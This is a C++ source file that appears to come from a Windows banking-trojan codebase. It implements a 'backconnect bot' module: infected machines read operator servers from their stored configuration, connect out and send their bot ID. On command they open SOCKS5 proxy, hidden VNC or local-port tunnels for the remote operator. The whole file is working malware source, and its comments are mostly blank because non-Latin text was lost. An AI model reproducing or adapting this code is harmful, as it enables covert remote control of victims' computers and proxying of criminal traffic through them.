#include <windows.h>
#include <wininet.h>
#include <ws2tcpip.h>

#include "defines.h"
#include "core.h"
#include "corehook.h"
#include "localconfig.h"
#include "backconnectbot.h"
#include "vnc\vncserver.h"
#include "socks5server.h"

#include "..\common\mem.h"
#include "..\common\str.h"
#include "..\common\debug.h"
#include "..\common\wsocket.h"
#include "..\common\backconnect.h"
#include "..\common\sync.h"
#include "..\common\process.h"

#if(BO_BCSERVER_PLATFORMS > 0)

/*
  ,    .

  IN list     - .
  IN listSize -  .

  Return      - true -  ,
                false -   .
*/
static bool isValidList(const LPSTR list, DWORD listSize)
{
  return (Str::_isValidMultiStringA(list, listSize) && (Str::_multiStringGetCountA(list) % 3) == 0);
}

// .
typedef struct
{
  LPSTR servicePort;
  LPSTR server;
  LPSTR serverPort;
  HANDLE mutex;
}BCDATA;

typedef struct
{
  BCDATA *bcData;
  DWORD servicePort;
  DWORD id;
}BCTUNNELDATA;

//  .
#define SERVICE_PORT_SOCKS ((DWORD)-1) //Socks.
#define SERVICE_PORT_VNC   ((DWORD)-2) //VNC.

/*
      .

  IN p   - BCTUNNELDATA.

  Return - 0.
*/
static DWORD WINAPI procTunnel(void *p)
{
  CoreHook::disableFileHookerForCurrentThread(true);

  BCTUNNELDATA *bcTunnelData = (BCTUNNELDATA *)p;
  SOCKET service             = INVALID_SOCKET;
  SOCKET client              = INVALID_SOCKET;
  
  WDEBUG0(WDDT_INFO, "Started.");

  //  .
  bool ok = false;
  if(bcTunnelData->servicePort == SERVICE_PORT_SOCKS)
  {
    ok = true;
  }
# if(BO_VNC > 0)
  else if(bcTunnelData->servicePort == SERVICE_PORT_VNC)
  {
    ok = true;
  }
# endif
  else
  {
    SOCKADDR_IN addr;
    addr.sin_family           = AF_INET;
    addr.sin_port             = SWAP_WORD(bcTunnelData->servicePort);
    addr.sin_addr.S_un.S_addr = 0x0100007F; //localhost

    if((service = WSocket::tcpConnect((SOCKADDR_STORAGE *)&addr)) != INVALID_SOCKET)
    {
      WSocket::tcpDisableDelay(service, true);
      ok = true;
    }
#   if(BO_DEBUG > 0)
    else WDEBUG1(WDDT_ERROR, "Failed to connect to local IPv4 port %u.", bcTunnelData->servicePort);
#   endif
  }

  //  .
  if(ok == true && (client = WSocket::tcpConnectA(bcTunnelData->bcData->server, (WORD)Str::_ToInt32A(bcTunnelData->bcData->serverPort, NULL))) != INVALID_SOCKET)
  {
    WSocket::tcpDisableDelay(client, true);
    WSocket::tcpSetKeepAlive(client, true, Backconnect::KEEPALIVE_DELAY, Backconnect::KEEPALIVE_INTERVAL);

    if(Backconnect::_writeCommand(client, Backconnect::COMMAND_IS_SERVICE, (LPBYTE)&bcTunnelData->id, sizeof(DWORD)))switch(bcTunnelData->servicePort)
    {
      case SERVICE_PORT_SOCKS:
        Socks5Server::_start(client, 0);
        break;

#     if(BO_VNC > 0)
      case SERVICE_PORT_VNC:
        VncServer::start(client);
        break;
#     endif
      
      default:
        WSocket::tcpTunnel(client, service);
        break;
    }      
  }
    
  // .
  WSocket::tcpClose(client);
  WSocket::tcpClose(service);
  Mem::free(bcTunnelData);
  
  WDEBUG0(WDDT_INFO, "Stopped.");
  return 0;
}

/*
      .

  IN p   - BCDATA.

  Return - 0.
*/
static DWORD WINAPI procConnection(void *p)
{
  CoreHook::disableFileHookerForCurrentThread(true);

  ThreadsGroup::GROUP group;
  BCDATA *bcData = (BCDATA *)p;
  
  ThreadsGroup::_createGroup(&group);
  WDEBUG0(WDDT_INFO, "Started.");

  //  
  DWORD servicePort = 0;

  if(CWA(kernel32, lstrcmpiA)(bcData->servicePort, "socks") == 0)
  {
    servicePort = SERVICE_PORT_SOCKS;
  }
# if(BO_VNC > 0)
  else if(CWA(kernel32, lstrcmpiA)(bcData->servicePort, "vnc") == 0)
  {
    servicePort = SERVICE_PORT_VNC;
  }
# endif
  else
  {
    DWORD t = (DWORD)Str::_ToInt32A(bcData->servicePort, NULL);
    if(t > 0 && t < MAXWORD)servicePort = (WORD)t;
  }
  
  if(servicePort != 0)
  {
    //  .
    SOCKET server = WSocket::tcpConnectA(bcData->server, (WORD)Str::_ToInt32A(bcData->serverPort, NULL));
    if(server != INVALID_SOCKET)
    {
      WDEBUG0(WDDT_INFO, "Session started.");
      WSocket::tcpDisableDelay(server, true);
      WSocket::tcpSetKeepAlive(server, true, Backconnect::KEEPALIVE_DELAY, Backconnect::KEEPALIVE_INTERVAL);
      
      // BotID.
      bool ok;
      {
        PESETTINGS pes;
        Str::UTF8STRING u8CompId;

        Core::getPeSettings(&pes);

        ok = Str::_utf8FromUnicode(pes.compId, -1, &u8CompId);      
        if(ok)
        {
          ok = Backconnect::_writeCommand(server, Backconnect::COMMAND_BOTID, u8CompId.data, u8CompId.size);
          Str::_utf8Free(&u8CompId);
        }
      }
      
      //   .
      if(ok)
      {
        Backconnect::COMMAND bcc;
        LPBYTE bccData;

        while(WSocket::tcpWaitForEvent(&server, 1, 0, NULL, 0) == server && Backconnect::_readCommand(server, &bcc, &bccData))
        {
          // .
          if(bcc.command == Backconnect::COMMAND_CONNECT && bcc.dataSize == sizeof(DWORD))
          {
            BCTUNNELDATA *bcTunnelData = (BCTUNNELDATA *)Mem::alloc(sizeof(BCTUNNELDATA));
            if(bcTunnelData != NULL)
            {
              bcTunnelData->bcData      = bcData;
              bcTunnelData->servicePort = servicePort;
              bcTunnelData->id          = *(LPDWORD)bccData;

              if(!ThreadsGroup::_createThread(&group, 128 * 1024, procTunnel, bcTunnelData, NULL, NULL))Mem::free(bcTunnelData);
            }
            ThreadsGroup::_closeTerminatedHandles(&group);
          }
          Mem::free(bccData);
        }
      }

      WDEBUG0(WDDT_INFO, "Session stopped.");
      WSocket::tcpClose(server);
    }
  }
  
  // .
  ThreadsGroup::_waitForAllExit(&group, INFINITE);
  ThreadsGroup::_closeGroup(&group);

  Mem::free(bcData->servicePort);
  Mem::free(bcData->server);
  Mem::free(bcData->serverPort);
  Sync::_freeMutex(bcData->mutex);
  Mem::free(bcData);
  
  WDEBUG0(WDDT_INFO, "Stopped.");
  return 0;
}

/*
       .

  Return - 0.
*/
static DWORD WINAPI proc(void *)
{
  CoreHook::disableFileHookerForCurrentThread(true);
  HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_BACKCONNECT_CONTROL, MalwareTools::KON_GLOBAL);
  if(mutex == NULL)
  {
    WDEBUG0(WDDT_ERROR, "Failed");
    return 1;
  }
  
  CWA(kernel32, SetThreadPriority)(CWA(kernel32, GetCurrentThread)(), THREAD_PRIORITY_IDLE);

  WDEBUG0(WDDT_INFO, "Started.");
#if(BO_DEBUG > 0)
  if(Core::isActive())while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 1000) == WAIT_TIMEOUT)
#else
  if(Core::isActive())while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 60 * 1000) == WAIT_TIMEOUT)
#endif
  {
    BinStorage::STORAGE *config = LocalConfig::getCurrent();
    if(config != NULL)
    {
      DWORD itemListSize;
      LPSTR itemList = (LPSTR)BinStorage::_getItemDataEx(config, LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING, &itemListSize);
        
      if(itemList != NULL && isValidList(itemList, itemListSize))
      {
        LPSTR curItem = itemList;
        do
        {
          LPSTR curServicePort = curItem;
          LPSTR curServer      = Str::_multiStringGetIndexA(curItem, 1);
          LPSTR curServerPort  = Str::_multiStringGetIndexA(curItem, 2);

          // .
          HANDLE bcMutex = NULL;
          {
            DWORD nameParts[3];
            nameParts[0] = Crypt::crc32Hash(curServicePort, Str::_LengthA(curServicePort));
            nameParts[1] = Crypt::crc32Hash(curServer, Str::_LengthA(curServer));
            nameParts[2] = Crypt::crc32Hash(curServerPort, Str::_LengthA(curServerPort));

            WCHAR mutexName[7 + 3 * 8 + 1];
            if(Str::_sprintfW(mutexName, sizeof(mutexName) / sizeof(WCHAR), L"Global\\%08X%08X%08X", nameParts[0], nameParts[1], nameParts[2]) == sizeof(mutexName) / sizeof(WCHAR) - 1)
            {
              WDEBUG1(WDDT_INFO, "mutexName=[%s]", mutexName);
              bcMutex = Sync::_createUniqueMutex(&coreData.securityAttributes.saAllowAll, mutexName);
            }
          }

          //  .
          if(bcMutex != NULL)
          {
            BCDATA *bcData = (BCDATA *)Mem::alloc(sizeof(BCDATA));
            if(bcData != NULL)
            {
              bcData->servicePort = Str::_CopyExA(curServicePort, -1);
              bcData->server      = Str::_CopyExA(curServer, -1);
              bcData->serverPort  = Str::_CopyExA(curServerPort, -1);
              bcData->mutex       = bcMutex;

              if(bcData->servicePort != NULL && bcData->server != NULL && bcData->serverPort != NULL)
              {
                if(Process::_createThread(512 * 1024, procConnection, bcData) > 0)continue;
              }

              Mem::free(bcData->servicePort);
              Mem::free(bcData->server);
              Mem::free(bcData->serverPort);
              Mem::free(bcData);
            }
            Sync::_freeMutex(bcMutex);
          }
        }
        while((curItem = Str::_multiStringGetIndexA(curItem, 3)) != NULL);
      }

      Mem::free(itemList);
      Mem::free(config);
    }
  }  
  
  WDEBUG0(WDDT_INFO, "Stopped.");
  Sync::_freeMutex(mutex);

  return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////

void BackconnectBot::init(void)
{


}

void BackconnectBot::uninit(void)
{

}

bool BackconnectBot::_addStatic(LPSTR servicePort, LPSTR server, LPSTR serverPort)
{
  WORD newItemSize;
  char newItem[256 * 3 + 3 + 1];

  // .
  {
    BYTE servicePortLen = (BYTE)Str::_LengthA(servicePort);
    BYTE serverLen      = (BYTE)Str::_LengthA(server);
    BYTE serverPortLen  = (BYTE)Str::_LengthA(serverPort);
    char *offset        = newItem;
    
    if(servicePortLen == 0 || serverLen == 0 || serverPortLen == 0)return false;

    newItemSize = (servicePortLen + 1) + (serverLen + 1) + (serverPortLen + 1);

    Str::_CopyA(offset, servicePort, servicePortLen);
    offset += servicePortLen + 1;

    Str::_CopyA(offset, server, serverLen);
    offset += serverLen + 1;

    Str::_CopyA(offset, serverPort, serverPortLen);
    offset += serverPortLen + 1;

    *offset = 0; //  -.
    
    CWA(user32, CharLowerBuffA)(newItem, newItemSize);
  }
  
  // .
  BinStorage::STORAGE *config = LocalConfig::beginReadWrite();
  if(config == NULL)return false;
    
  //   .
  bool ok = true;
  DWORD itemListSize;
  LPSTR itemList = (LPSTR)BinStorage::_getItemDataEx(config, LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING, &itemListSize);

  //  ,  .
  if(isValidList(itemList, itemListSize))
  {
    LPSTR curItem = itemList;
    do
    {
      //     ,   .
      if((DWORD)((itemList + itemListSize) - curItem) <= newItemSize)break;
      
      //.
      if(Mem::_compare(curItem, newItem, newItemSize) == 0)
      {
        WDEBUG0(WDDT_INFO, "Item already exists.");
        ok = false;
        break;
      }
    }
    while((curItem = Str::_multiStringGetIndexA(curItem, 3)) != NULL);
    
    if(ok == true && (ok = Mem::reallocEx(&itemList, itemListSize + newItemSize)) == true)
    {
      Mem::_copy(itemList + itemListSize - 1, newItem, newItemSize + 1);
      ok = BinStorage::_modifyItemById(&config, LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, itemList, itemListSize + newItemSize);
    }
  }
  //   ,  .
  else
  {
    if(itemList == NULL)ok = BinStorage::_addItem(&config, LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, newItem, newItemSize + 1);
    else                ok = BinStorage::_modifyItemById(&config, LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, newItem, newItemSize + 1);
  }
  Mem::free(itemList);

  if(ok == false)
  {
    Mem::free(config);
    config = NULL;
  }

  return LocalConfig::endReadWrite(config);
}

bool BackconnectBot::_removeStatic(LPSTR servicePort, LPSTR server, LPSTR serverPort)
{
  // .
  BinStorage::STORAGE *config = LocalConfig::beginReadWrite();
  if(config == NULL)return false;

  //  .
  DWORD itemListSize;
  LPSTR itemList = (LPSTR)BinStorage::_getItemDataEx(config, LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING, &itemListSize);
  
  // .
  if(itemList == NULL)
  {
    Mem::free(config);
    return LocalConfig::endReadWrite(NULL);
  }

  //  .
  bool changed = false;
  if(isValidList(itemList, itemListSize))
  {
    //      ,     .
    LPSTR newItemList = (LPSTR)Mem::alloc(itemListSize);    
    if(newItemList != NULL)  
    {
      // .
      LPSTR curItem = itemList;
      LPSTR offset  = newItemList;
      int len;

      do
      {
        LPSTR curServicePort = curItem;
        LPSTR curServer      = Str::_multiStringGetIndexA(curItem, 1);
        LPSTR curServerPort  = Str::_multiStringGetIndexA(curItem, 2);

        if(Str::_matchExA(servicePort, curServicePort) && Str::_matchExA(server, curServer) && Str::_matchExA(serverPort, curServerPort))
        {
          changed = true;
        }
        else
        {
          len = Str::_LengthA(curServicePort);
          Str::_CopyA(offset, curServicePort, len);
          offset += len + 1;

          len = Str::_LengthA(curServer);
          Str::_CopyA(offset, curServer, len);
          offset += len + 1;

          len = Str::_LengthA(curServerPort);
          Str::_CopyA(offset, curServerPort, len);
          offset += len + 1;

          *offset = 0; //  -.
        }
      }
      while((curItem = Str::_multiStringGetIndexA(curItem, 3)) != NULL);
      
      if(changed == true)
      {
        if(offset == newItemList)offset--; //  BinStorage::ITEMF_COMBINE_DELETE.
        changed = BinStorage::_modifyItemById(&config, LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, newItemList, offset - newItemList + 1);
      }
      Mem::free(newItemList);
    }
  }
  Mem::free(itemList);

  if(changed == false)
  {
    Mem::free(config);
    config = NULL;
  }

  return LocalConfig::endReadWrite(config);
}

bool BackconnectBot::_create(ThreadsGroup::GROUP *group)
{
  return ThreadsGroup::_createThread(group, 0, proc, NULL, NULL, NULL);
}
#endif
